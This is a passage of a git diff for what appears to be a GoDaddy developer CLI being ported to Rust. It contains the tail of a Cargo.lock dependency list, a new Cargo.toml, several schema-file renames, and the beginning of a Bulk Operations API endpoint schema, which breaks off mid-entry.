"registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c2a7b1c03c876122aa43f3020e6c3c3ee5c05081c9a00739faf7503aeba10d22" +dependencies = [ + "windows-sys 0.61.2", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows-core" +version = "0.62.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8e83a14d34d0623b51dce9581199302a221863196a1dde71a7663a4c2be9deb" +dependencies = [ + "windows-implement", + "windows-interface", + "windows-link", + "windows-result", + "windows-strings", +] + +[[package]] +name = "windows-implement" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "053e2e040ab57b9dc951b72c264860db7eb3b0200ba345b4e4c3b14f67855ddf" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-interface" +version = "0.59.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3f316c4a2570ba26bbec722032c4099d8c8bc095efccdc15688708623367e358" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "windows-link" +version = "0.2.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f0805222e57f7521d6a62e36fa9163bc891acd422f971defe97d64e70d0a4fe5" + +[[package]] +name = "windows-result" +version = "0.4.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7781fa89eaf60850ac3d2da7af8e5242a5ea78d1a11c49bf2910bb5a73853eb5" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-strings" +version = "0.5.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7837d08f69c77cf6b07689544538e017c1bfcf57e34b4c0ff58e6c2cd3b37091" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.59.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e38bc4d79ed67fd075bcc251a1c39b32a1776bbe92e5bef1f0bf1f8c531853b" +dependencies = [ + "windows-targets 0.52.6", +] + +[[package]] +name = "windows-sys" +version = "0.60.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f2f500e4d28234f72040990ec9d39e3a6b950f9f22d3dba18416c35882612bcb" +dependencies = [ + "windows-targets 0.53.5", +] + +[[package]] +name = "windows-sys" +version = "0.61.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ae137229bcbd6cdf0f7b80a31df61766145077ddf49416a728b02cb3921ff3fc" +dependencies = [ + "windows-link", +] + +[[package]] +name = "windows-targets" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9b724f72796e036ab90c1021d4780d4d3d648aca59e491e6b98e725b84e99973" +dependencies = [ + "windows_aarch64_gnullvm 0.52.6", + "windows_aarch64_msvc 0.52.6", + "windows_i686_gnu 0.52.6", + "windows_i686_gnullvm 0.52.6", + "windows_i686_msvc 0.52.6", + "windows_x86_64_gnu 0.52.6", + "windows_x86_64_gnullvm 0.52.6", + "windows_x86_64_msvc 0.52.6", +] + +[[package]] +name = "windows-targets" +version = "0.53.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4945f9f551b88e0d65f3db0bc25c33b8acea4d9e41163edf90dcd0b19f9069f3" +dependencies = [ + "windows-link", + "windows_aarch64_gnullvm 0.53.1", + "windows_aarch64_msvc 0.53.1", + "windows_i686_gnu 0.53.1", + "windows_i686_gnullvm 0.53.1", + "windows_i686_msvc 0.53.1", + "windows_x86_64_gnu 0.53.1", + "windows_x86_64_gnullvm 0.53.1", + "windows_x86_64_msvc 0.53.1", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "32a4622180e7a0ec044bb555404c800bc9fd9ec262ec147edd5989ccd0c02cd3" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a9d8416fa8b42f5c947f8482c43e7d89e73a173cead56d044f6a56104a6d1b53" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09ec2a7bb152e2252b53fa7803150007879548bc709c039df7627cabbd05d469" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b9d782e804c2f632e395708e99a94275910eb9100b2114651e04744e9b125006" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8e9b5ad5ab802e97eb8e295ac6720e509ee4c243f69d781394014ebfe8bbfa0b" + +[[package]] +name = "windows_i686_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "960e6da069d81e09becb0ca57a65220ddff016ff2d6af6a223cf372a506593a3" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0eee52d38c090b3caa76c563b86c3a4bd71ef1a819287c19d586d7334ae8ed66" + +[[package]] +name = "windows_i686_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa7359d10048f68ab8b09fa71c3daccfb0e9b559aed648a8f95469c27057180c" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "240948bc05c5e7c6dabba28bf89d89ffce3e303022809e73deaefe4f6ec56c66" + +[[package]] +name = "windows_i686_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1e7ac75179f18232fe9c285163565a57ef8d3c89254a30685b57d83a38d326c2" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "147a5c80aabfbf0c7d901cb5895d1de30ef2907eb21fbbab29ca94c5b08b1a78" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c3842cdd74a865a8066ab39c8a7a473c0778a3f29370b5fd6b4b9aa7df4a499" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "24d5b23dc417412679681396f2b49f3de8c1473deb516bd34410872eff51ed0d" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ffa179e2d07eee8ad8f57493436566c7cc30ac536a3379fdf008f47f6bb7ae1" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "589f6da84c646204747d1270a2a5661ea66ed1cced2631d546fdfb155959f9ec" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.53.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d6bbff5f0aada427a1e5a6da5f1f98158182f26556f345ac9e04d36d0ebed650" + +[[package]] +name = "winnow" +version = "0.7.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "df79d97927682d2fd8adb29682d1140b343be4ac0f08fd68b7765d9c059d3945" +dependencies = [ + "memchr", +] + +[[package]] +name = "winnow" +version = "1.0.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0592e1c9d151f854e6fd382574c3a0855250e1d9b2f99d9281c6e6391af352f1" +dependencies = [ + "memchr", +] + +[[package]] +name = "wit-bindgen" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d7249219f66ced02969388cf2bb044a09756a083d0fab1e566056b04d9fbcaa5" +dependencies = [ + "wit-bindgen-rust-macro", +] + +[[package]] +name = "wit-bindgen" +version = "0.57.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ebf944e87a7c253233ad6766e082e3cd714b5d03812acc24c318f549614536e" + +[[package]] +name = "wit-bindgen-core" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ea61de684c3ea68cb082b7a88508a8b27fcc8b797d738bfc99a82facf1d752dc" +dependencies = [ + "anyhow", + "heck", + "wit-parser", +] + +[[package]] +name = "wit-bindgen-rust" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7c566e0f4b284dd6561c786d9cb0142da491f46a9fbed79ea69cdad5db17f21" +dependencies = [ + "anyhow", + "heck", + "indexmap", + "prettyplease", + "syn 2.0.117", + "wasm-metadata", + "wit-bindgen-core", + "wit-component", +] + +[[package]] +name = "wit-bindgen-rust-macro" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0c0f9bfd77e6a48eccf51359e3ae77140a7f50b1e2ebfe62422d8afdaffab17a" +dependencies = [ + "anyhow", + "prettyplease", + "proc-macro2", + "quote", + "syn 2.0.117", + "wit-bindgen-core", + "wit-bindgen-rust", +] + +[[package]] +name = "wit-component" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9d66ea20e9553b30172b5e831994e35fbde2d165325bec84fc43dbf6f4eb9cb2" +dependencies = [ + "anyhow", + "bitflags", + "indexmap", + "log", + "serde", + "serde_derive", + "serde_json", + "wasm-encoder", + "wasm-metadata", + "wasmparser", + "wit-parser", +] + +[[package]] +name = "wit-parser" +version = "0.244.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ecc8ac4bc1dc3381b7f59c34f00b67e18f910c2c0f50015669dde7def656a736" +dependencies = [ + "anyhow", + "id-arena", + "indexmap", + "log", + "semver", + "serde", + "serde_derive", + "serde_json", + "unicode-xid", + "wasmparser", +] + +[[package]] +name = "writeable" +version = "0.6.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1ffae5123b2d3fc086436f8834ae3ab053a283cfac8fe0a0b8eaae044768a4c4" + +[[package]] +name = "xdg-home" +version = "1.3.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec1cdab258fb55c0da61328dc52c8764709b249011b2cad0454c72f0bf10a1f6" +dependencies = [ + "libc", + "windows-sys 0.59.0", +] + +[[package]] +name = "yoke" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "abe8c5fda708d9ca3df187cae8bfb9ceda00dd96231bed36e445a1a48e66f9ca" +dependencies = [ + "stable_deref_trait", + "yoke-derive", + "zerofrom", +] + +[[package]] +name = "yoke-derive" +version = "0.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "de844c262c8848816172cef550288e7dc6c7b7814b4ee56b3e1553f275f1858e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zbus" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bb97012beadd29e654708a0fdb4c84bc046f537aecfde2c3ee0a9e4b4d48c725" +dependencies = [ + "async-broadcast", + "async-executor", + "async-fs", + "async-io", + "async-lock", + "async-process", + "async-recursion", + "async-task", + "async-trait", + "blocking", + "enumflags2", + "event-listener 5.4.1", + "futures-core", + "futures-sink", + "futures-util", + "hex", + "nix", + "ordered-stream", + "rand 0.8.6", + "serde", + "serde_repr", + "sha1", + "static_assertions", + "tokio", + "tracing", + "uds_windows", + "windows-sys 0.52.0", + "xdg-home", + "zbus_macros", + "zbus_names", + "zvariant", +] + +[[package]] +name = "zbus_macros" +version = "4.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "267db9407081e90bbfa46d841d3cbc60f59c0351838c4bc65199ecd79ab1983e" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 2.0.117", + "zvariant_utils", +] + +[[package]] +name = "zbus_names" +version = "3.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4b9b1fef7d021261cc16cba64c351d291b715febe0fa10dc3a443ac5a5022e6c" +dependencies = [ + "serde", + "static_assertions", + "zvariant", +] + +[[package]] +name = "zerocopy" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eed437bf9d6692032087e337407a86f04cd8d6a16a37199ed57949d415bd68e9" +dependencies = [ + "zerocopy-derive", +] + +[[package]] +name = "zerocopy-derive" +version = "0.8.48" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "70e3cd084b1788766f53af483dd21f93881ff30d7320490ec3ef7526d203bad4" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zerofrom" +version = "0.1.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0ec05a11813ea801ff6d75110ad09cd0824ddba17dfe17128ea0d5f68e6c5272" +dependencies = [ + "zerofrom-derive", +] + +[[package]] +name = "zerofrom-derive" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "11532158c46691caf0f2593ea8358fed6bbf68a0315e80aae9bd41fbade684a1" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", + "synstructure", +] + +[[package]] +name = "zeroize" +version = "1.8.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b97154e67e32c85465826e8bcc1c59429aaaf107c1e4a9e53c8d8ccd5eff88d0" +dependencies = [ + "zeroize_derive", +] + +[[package]] +name = "zeroize_derive" +version = "1.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "85a5b4158499876c763cb03bc4e49185d3cccbabb15b33c627f7884f43db852e" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zerotrie" +version = "0.2.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0f9152d31db0792fa83f70fb2f83148effb5c1f5b8c7686c3459e361d9bc20bf" +dependencies = [ + "displaydoc", + "yoke", + "zerofrom", +] + +[[package]] +name = "zerovec" +version = "0.11.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "90f911cbc359ab6af17377d242225f4d75119aec87ea711a880987b18cd7b239" +dependencies = [ + "yoke", + "zerofrom", + "zerovec-derive", +] + +[[package]] +name = "zerovec-derive" +version = "0.11.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "625dc425cab0dca6dc3c3319506e6593dcb08a9f387ea3b284dbd52a92c40555" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] + +[[package]] +name = "zmij" +version = "1.0.21" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8848ee67ecc8aedbaf3e4122217aff892639231befc6a1b58d29fff4c2cabaa" + +[[package]] +name = "zvariant" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2084290ab9a1c471c38fc524945837734fbf124487e105daec2bb57fd48c81fe" +dependencies = [ + "endi", + "enumflags2", + "serde", + "static_assertions", + "zvariant_derive", +] + +[[package]] +name = "zvariant_derive" +version = "4.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "73e2ba546bda683a90652bac4a279bc146adad1386f25379cf73200d2002c449" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "syn 2.0.117", + "zvariant_utils", +] + +[[package]] +name = "zvariant_utils" +version = "2.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c51bcff7cc3dbb5055396bcf774748c3dab426b4b8659046963523cee4808340" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.117", +] diff --git a/rust/Cargo.toml b/rust/Cargo.toml new file mode 100644 index 0000000..dc705f4 --- /dev/null +++ b/rust/Cargo.toml @@ -0,0 +1,59 @@ +[package] +name = "godaddy-cli" +version = "0.1.0" +edition = "2024" +description = "GoDaddy developer CLI" +license = "Proprietary" + +[workspace] +members = [".", "tools/generate-api-catalog"] + +[[bin]] +name = "godaddy" +path = "src/main.rs" + +[dependencies] +async-trait = "0.1" +chrono = { version = "0.4", default-features = false, features = ["clock", "serde"] } +clap = { version = "4.5", features = ["std", "string"] } +cli-engine = { features = ["pkce-auth"], version = "0.1.2" } +fancy-regex = "0.14" +regex = { version = "1", features = ["std"] } +reqwest = { version = "0.12", default-features = false, features = ["json", "rustls-tls"] } +sha2 = "0.10" +serde = { version = "1", features = ["derive"] } +serde_json = "1" +thiserror = "2" +tokio = { version = "1", features = ["full"] } +toml = "0.8" +tracing = "0.1" +tracing-subscriber = { version = "0.3", features = ["env-filter"] } +uuid = { version = "1", features = ["v4"] } + +[dev-dependencies] +httpmock = "0.7" + +[lints.rust] +unsafe_code = "deny" +future_incompatible = { level = "deny", priority = -1 } +explicit_outlives_requirements = "warn" +macro_use_extern_crate = "warn" +non_ascii_idents = "warn" +rust_2018_idioms = { level = "warn", priority = -1 } +trivial_casts = "warn" +trivial_numeric_casts = "warn" +unused = { level = "warn", priority = -1 } +unused_import_braces = "warn" +unused_qualifications = "warn" + +[lints.clippy] +exit = "deny" +unwrap_in_result = "deny" +unwrap_used = "deny" +wildcard_dependencies = "deny" +dbg_macro = "warn" +inefficient_to_string = "warn" +match_same_arms = "warn" +panic = "warn" +print_stderr = "warn" +print_stdout = "warn" diff --git a/src/cli/schemas/actions/commerce-payment-process.json b/rust/schemas/actions/commerce-payment-process.json similarity index 100% rename from src/cli/schemas/actions/commerce-payment-process.json rename to rust/schemas/actions/commerce-payment-process.json diff --git a/src/cli/schemas/actions/commerce-payment-refund.json b/rust/schemas/actions/commerce-payment-refund.json similarity index 100% rename from src/cli/schemas/actions/commerce-payment-refund.json rename to rust/schemas/actions/commerce-payment-refund.json diff --git a/src/cli/schemas/actions/commerce-price-adjustment-apply.json b/rust/schemas/actions/commerce-price-adjustment-apply.json similarity index 100% rename from src/cli/schemas/actions/commerce-price-adjustment-apply.json rename to rust/schemas/actions/commerce-price-adjustment-apply.json diff --git a/src/cli/schemas/actions/commerce-shipping-rates-calculate.json b/rust/schemas/actions/commerce-shipping-rates-calculate.json similarity index 100% rename from src/cli/schemas/actions/commerce-shipping-rates-calculate.json rename to rust/schemas/actions/commerce-shipping-rates-calculate.json diff --git a/src/cli/schemas/actions/commerce-taxes-calculate.json b/rust/schemas/actions/commerce-taxes-calculate.json similarity index 100% rename from src/cli/schemas/actions/commerce-taxes-calculate.json rename to rust/schemas/actions/commerce-taxes-calculate.json diff --git a/src/cli/schemas/actions/location-address-verify.json b/rust/schemas/actions/location-address-verify.json similarity index 100% rename from src/cli/schemas/actions/location-address-verify.json rename to rust/schemas/actions/location-address-verify.json diff --git a/src/cli/schemas/actions/manifest.json b/rust/schemas/actions/manifest.json similarity index 100% rename from src/cli/schemas/actions/manifest.json rename to rust/schemas/actions/manifest.json diff --git a/src/cli/schemas/actions/notifications-email-send.json b/rust/schemas/actions/notifications-email-send.json similarity index 100% rename from src/cli/schemas/actions/notifications-email-send.json rename to rust/schemas/actions/notifications-email-send.json diff --git a/rust/schemas/api/bulk-operations.json b/rust/schemas/api/bulk-operations.json new file mode 100644 index 0000000..6bb94e7 --- /dev/null +++ b/rust/schemas/api/bulk-operations.json @@ -0,0 +1,4203 @@ +{ + "name": "bulk-operations", + "title": "Bulk Operations API", + "description": "Bulk Operations API handles the asynchronous processing of any \nbulk action, such as an ingestion or export, across Commerce platform.\n", + "version": "1.1.0", + "baseUrl": "https://api.godaddy.com/v1/commerce", + "endpoints": [ + { + "operationId": "get_stores_storeId_bulk_ingestions", + "method": "GET", + "path": "/stores/{storeId}/bulk-ingestions", + "summary": "Get bulk ingestions", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "filter", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + }, + { + "name": "pageSize", + "in": "query", + "required": false, + "schema": { + "format": "int32", + "minimum": 1, + "type": "integer" + } + }, + { + "name": "pageToken", + "in": "query", + "required": false, + "schema": { + "type": "string" + } + } + ], + "responses": { + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Get bulk ingestions", + "schema": { + "description": "A list of bulk ingestions", + "properties": { + "bulkIngestions": { + "description": "The bulk ingestions", + "items": { + "$ref": "./models/Bulkingestion.yaml" + }, + "type": "array" + }, + "links": { + "description": "The links", + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + }, + "pageToken": { + "description": "The page token", + "type": "string" + } + }, + "title": "Bulk Ingestions", + "type": "object" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + } + }, + "scopes": [] + }, + { + "operationId": "post_stores_storeId_bulk_ingestions", + "method": "POST", + "path": "/stores/{storeId}/bulk-ingestions", + "summary": "Create bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "description": "Create bulk ingestion payload", + "properties": { + "entityType": { + "type": "string" + }, + "intent": { + "type": "string" + } + }, + "title": "Create Bulk Ingestion", + "type": "object" + } + }, + "responses": { + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "201": { + "description": "Create bulk ingestion", + "schema": { + "description": "A bulk ingestion object", + "properties": { + "bulkIngestion": { + "$ref": "./models/Bulkingestion.yaml" + }, + "links": { + "items": { + "$id": "https://godaddy.com/schemas/common/link-description.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A request-related [HATEOAS link](https://datatracker.ietf.org/doc/html/draft-handrews-json-schema-hyperschema-02).", + "properties": { + "href": { + "description": "The complete target URL, or link, to use in combination with the method to make the related call, as defined by [RFC 6570 - URI Template](https://tools.ietf.org/html/rfc6570), with the addition of the `$`, `(`, and `)` characters for pre-processing. The `href` is the key HATEOAS component that links a completed call with a subsequent call.", + "format": "uri", + "type": "string" + }, + "method": { + "description": "The method to use to request the link target. For example, for HTTP, this might be `GET` or `DELETE`.", + "type": "string" + }, + "rel": { + "description": "The [link relation type](https://tools.ietf.org/html/rfc5988#section-4), which is an identifier for a link that unambiguously describes the semantics of the link. For values, see [Link Relationship Types](https://www.iana.org/assignments/link-relations/link-relations.xhtml).", + "type": "string" + }, + "submissionMediaType": { + "default": "application/json", + "description": "The media type with which to submit data with the request.", + "type": "string" + }, + "submissionSchema": { + "description": "The schema that describes the request data." + }, + "targetMediaType": { + "description": "The [RFC 2046-defined media type](https://www.ietf.org/rfc/rfc2046.txt) that describes the link target.", + "type": "string" + }, + "targetSchema": { + "description": "The schema that describes the link target." + }, + "title": { + "description": "The link title.", + "type": "string" + } + }, + "required": [ + "rel", + "href" + ], + "title": "Link Description", + "type": "object" + }, + "type": "array" + } + }, + "title": "Bulk Ingestion", + "type": "object" + } + } + }, + "scopes": [] + }, + { + "operationId": "get_stores_storeId_bulk_ingestions_bulkIngestionId", + "method": "GET", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}", + "summary": "Get bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Get bulk ingestion", + "schema": { + "$ref": "./models/Bulkingestion.yaml" + } + } + }, + "scopes": [] + }, + { + "operationId": "patch_stores_storeId_bulk_ingestions_bulkIngestionId", + "method": "PATCH", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}", + "summary": "Update bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": "bulkIngestionId", + "in": "path", + "required": true, + "description": "The Bulk Ingestion ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + } + ], + "requestBody": { + "required": false, + "contentType": "application/json", + "schema": { + "description": "Update bulk ingestion payload", + "properties": { + "mappedAttributes": { + "additionalProperties": { + "properties": { + "pointer": { + "oneOf": [ + { + "type": "string" + }, + { + "type": "integer" + } + ] + } + }, + "type": "object" + }, + "type": "object" + }, + "overrides": { + "$id": "https://godaddy.com/schemas/commerce/bulk-ingestions/bulk-ingestion-override.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A bulk ingestion override object", + "properties": { + "bulkIngestionId": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "createdAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "id": { + "$id": "https://godaddy.com/schemas/common/uuid.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A universally unique identifier (UUID) in [RFC-4122 format](https://tools.ietf.org/html/rfc4122).", + "format": "uuid", + "type": "string" + }, + "op": { + "default": "replace", + "description": "The operation of the override patch, can be add, remove, \nor replace\n", + "type": "string" + }, + "path": { + "description": "The path of the override, consists of an index and an \nattribute name\n", + "example": "/0/name", + "type": "string" + }, + "resourceId": { + "description": "The unique identifier for the resource", + "type": "string" + }, + "updatedAt": { + "$id": "https://godaddy.com/schemas/common/date-time.v1", + "$schema": "https://json-schema.org/draft/2020-12/schema", + "description": "A date and time, in [Internet date and time format](https://tools.ietf.org/html/rfc3339#section-5.6). Note: The regular expression provides static schematic guidance but does not reject all invalid dates.", + "maxLength": 64, + "minLength": 20, + "pattern": "^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])[T,t]([0-1][0-9]|2[0-3]):[0-5][0-9]:([0-5][0-9]|60)([.][0-9]+)?([Zz]|[+-][0-9]{2}:[0-9]{2})$", + "type": "string" + }, + "value": { + "description": "The value of the override", + "type": "string" + } + }, + "title": "Bulk Ingestion Override", + "type": "object" + } + }, + "title": "Update Bulk Ingestion", + "type": "object" + } + }, + "responses": { + "500": { + "description": "Internal server error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "400": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "404": { + "description": "Error", + "schema": { + "$ref": "./common-types/v1/schemas/json/error.json" + } + }, + "200": { + "description": "Update bulk ingestion", + "schema": { + "$ref": "./models/Bulkingestion.yaml" + } + } + }, + "scopes": [] + }, + { + "operationId": "delete_stores_storeId_bulk_ingestions_bulkIngestionId", + "method": "DELETE", + "path": "/stores/{storeId}/bulk-ingestions/{bulkIngestionId}", + "summary": "Delete bulk ingestion", + "parameters": [ + { + "name": "storeId", + "in": "path", + "required": true, + "description": "The Store ID", + "schema": { + "$ref": "./common-types/v1/schemas/json/uuid.json" + } + }, + { + "name": 